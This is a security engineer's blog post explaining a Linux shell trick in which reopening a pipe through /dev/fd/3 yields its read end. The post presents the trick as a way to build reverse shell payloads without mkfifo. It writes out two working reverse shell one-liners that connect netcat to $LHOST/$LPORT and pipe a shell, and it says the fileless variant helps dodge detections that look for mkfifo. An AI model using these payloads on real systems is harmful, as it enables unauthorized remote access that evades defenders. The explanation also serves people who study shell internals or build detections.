I'm joev, a security engineer 👋 You may know me from my work at Apple or on Metasploit, or from my CVEs.
Nowadays I work on open-source security software. This site is a cryptographic experiment of sorts, and a place to store my photos.
Say hello: @joev@infosec.exchange
This article covers a useful shell scripting technique on Linux that allows for getting read and write handles to a pipe in a shell process's memory.
If you have ever used a reverse shell command payload on Linux, you probably have noticed they follow a common layout:
mkfifo /tmp/f; nc $LHOST $LPORT </tmp/f | sh >/tmp/f; rm /tmp/f
To summarize:
nc
here) that takes input from this FIFO.nc
and sh
terminate, delete the FIFO.Here I use nc
as the network transport, but any bin that can transport stdin over the network will do.
A very useful transport bin is
ssh
: in modern versions, you also get a reverse SOCKS client "for free". NHAS/reverse_ssh implements a listener for this. If you're in a bash-derivative shell, you can get away with the/dev/tcp
"fake" device. If you get crafty enough, you can even make a loop aroundping
work.
The mkfifo
here is necessary because we need two channels: nc->sh
and sh->nc
, but Linux shells only give you a one-way pipe primitive (|
). Pipes are not bi-directional on Linux (POSIX allows for but does not require this), so you can't just write to the read end of a pipe.
There are a number of downsides to using mkfifo
. It is pretty common for blue teams to build detections for reverse shell command payloads. Because the network transport bin nc
is swappable, some detections end up incorporating the mkfifo
into the signal. Further, the cleanup step (rm /tmp/f
) sometimes fails, leaving behind an errant FIFO file in /tmp
. Finally - sometimes there are no writable locations on disk, as in a read-only chroot or container.
So one day I found myself looking for ways to get rid of the mkfifo
. I stumbled upon the answer in a stackoverflow post that I have regrettably been unable to find since (if you find it, please let me know so that I can credit the author properly). Once understanding this trick, I realized it was actually incredibly useful for building shell primitives that avoid touching the disk.
So here it is, the Linux Pipe Trick:
{ nc $LHOST $LPORT </dev/fd/3 3>&- | sh >&3 3>&- ; } 3>&1 | :
To summarize what the shell is doing here:
{}
), then pipe (|
) its stdout to the NOP command (:
), and redirect the subshell's fd#3 to this stdout pipe (3>&1
). We will "reuse" this pipe-to-NOP as a second pipe inside the subshell.nc
take its stdin from /dev/fd/3
(fd#3, the "reused" pipe) and pipe stdout to sh
.sh
point its stdout to fd#3 (the "reused" pipe) and receive its stdin
from nc
.Note that 3>&-
just means "close fd#3 for this subcommand", to avoid extra dangling references to the reused pipe on fd#3
.
This does not seem like it should work, because in step 2 we are redirecting a WRITE handle to the "reused" pipe to the forked command's stdin, which needs a READ handle.
But it does work, because of a simple Linuxism. If on Linux you have a handle to the WRITE end of a pipe, and then go and open(2)
it in READ mode from /dev/fd/N
, the kernel helpfully gives you the READ end of the pipe, just like it would do for a FIFO.
This gives us a way to get handles to both the read and write ends of an in-memory pipe(2)
structure in Linux. This is pretty useful for building shell programs that need concurrent data structures, and is not true on any other Unix I know of.